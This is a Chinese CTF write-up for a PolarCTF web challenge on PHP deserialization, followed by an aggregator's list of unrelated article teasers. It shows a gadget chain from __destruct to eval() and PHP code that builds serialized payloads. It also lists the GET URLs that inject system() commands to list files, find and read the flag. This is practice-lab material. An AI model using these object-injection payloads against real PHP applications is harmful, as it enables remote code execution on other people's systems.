Polar Web【中等】反序列化

2024-06-08 17:12
文章标签 中等 web 序列化 polar

本文主要是介绍Polar Web【中等】反序列化,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Polar Web【中等】反序列化

Contents

  • Polar Web【中等】反序列化
    • 思路&探索
    • EXP
      • PHP生成Payload
      • GET传递参数
    • 运行&总结

思路&探索

一个经典的反序列化问题,本文采用PHP代码辅助生成序列字符串的方式生成 Payload 来进行手动渗透。

  1. 打开站点,分析PHP代码:
    • 可以发现,需要实现触发命令执行的位置在 process 类中的 close 函数的 eval()
    • 能够触发 close() 调用的方式 —— 创建 example 实例,触发运行结束时 __destruct() 执行
    • 其中,使得成员变量 handle 为所需要的 process 实例,便可形成完整的调用链
  2. 按照上述思路,在本地拷贝两个类,并实现调用链,并调用 echo 输出序列字符串在页面上,具体见下文图中
  3. 按照站点提示,将序列字符串以 data 参数进行 GET 传参:
    • 初次使用 ls 命令,发现已处在根目录下,并未发现flag,故考虑使用命令 find / | grep flag,找出 flag 具体位置
    • 最后下达 cat /var/www/flag.php 命令,虽没有直接回显,查看源码可获取 flag

index

EXP

PHP生成Payload

<?phpclass process{public $pid;function close(){eval($this->pid);}}$a = new example();$a->handle = new process();// 	$a->handle->pid = "system('ls');";// 	$a->handle->pid = "system('find / | grep flag');";$a->handle->pid = "system('cat /var/www/html/flag.php');";echo serialize($a);
?>

ls
find
pl

GET传递参数

http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:29:"system('find / | grep flag');";}}
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}

运行&总结

run

  • 借用本经典的反序列化题目,记录如何用PHP代码辅助生成所需的序列字符串
  • 找出合适的调用链,是为代码审计之要点






敬,不完美的明天

这篇关于Polar Web【中等】反序列化的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1042803

相关文章

Java中JSON格式反序列化为Map且保证存取顺序一致的问题

《Java中JSON格式反序列化为Map且保证存取顺序一致的问题》:本文主要介绍Java中JSON格式反序列化为Map且保证存取顺序一致的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未... 目录背景问题解决方法总结背景做项目涉及两个微服务之间传数据时,需要提供方将Map类型的数据序列化为co

RedisTemplate默认序列化方式显示中文乱码的解决

《RedisTemplate默认序列化方式显示中文乱码的解决》本文主要介绍了SpringDataRedis默认使用JdkSerializationRedisSerializer导致数据乱码,文中通过示... 目录1. 问题原因2. 解决方案3. 配置类示例4. 配置说明5. 使用示例6. 验证存储结果7.

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

SpringBoot项目Web拦截器使用的多种方式

《SpringBoot项目Web拦截器使用的多种方式》在SpringBoot应用中,Web拦截器(Interceptor)是一种用于在请求处理的不同阶段执行自定义逻辑的机制,下面给大家介绍Sprin... 目录一、实现 HandlerInterceptor 接口1、创建HandlerInterceptor实

SpringBoot实现Kafka动态反序列化的完整代码

《SpringBoot实现Kafka动态反序列化的完整代码》在分布式系统中,Kafka作为高吞吐量的消息队列,常常需要处理来自不同主题(Topic)的异构数据,不同的业务场景可能要求对同一消费者组内的... 目录引言一、问题背景1.1 动态反序列化的需求1.2 常见问题二、动态反序列化的核心方案2.1 ht

Web技术与Nginx网站环境部署教程

《Web技术与Nginx网站环境部署教程》:本文主要介绍Web技术与Nginx网站环境部署教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、Web基础1.域名系统DNS2.Hosts文件3.DNS4.域名注册二.网页与html1.网页概述2.HTML概述3.

SpringBoot项目中Redis存储Session对象序列化处理

《SpringBoot项目中Redis存储Session对象序列化处理》在SpringBoot项目中使用Redis存储Session时,对象的序列化和反序列化是关键步骤,下面我们就来讲讲如何在Spri... 目录一、为什么需要序列化处理二、Spring Boot 集成 Redis 存储 Session2.1

Python使用Reflex构建现代Web应用的完全指南

《Python使用Reflex构建现代Web应用的完全指南》这篇文章为大家深入介绍了Reflex框架的设计理念,技术特性,项目结构,核心API,实际开发流程以及与其他框架的对比和部署建议,感兴趣的小伙... 目录什么是 ReFlex?为什么选择 Reflex?安装与环境配置构建你的第一个应用核心概念解析组件

Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例

《Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例》本文介绍Nginx+Keepalived实现Web集群高可用负载均衡的部署与测试,涵盖架构设计、环境配置、健康检查、... 目录前言一、架构设计二、环境准备三、案例部署配置 前端 Keepalived配置 前端 Nginx

Java controller接口出入参时间序列化转换操作方法(两种)

《Javacontroller接口出入参时间序列化转换操作方法(两种)》:本文主要介绍Javacontroller接口出入参时间序列化转换操作方法,本文给大家列举两种简单方法,感兴趣的朋友一起看... 目录方式一、使用注解方式二、统一配置场景:在controller编写的接口,在前后端交互过程中一般都会涉及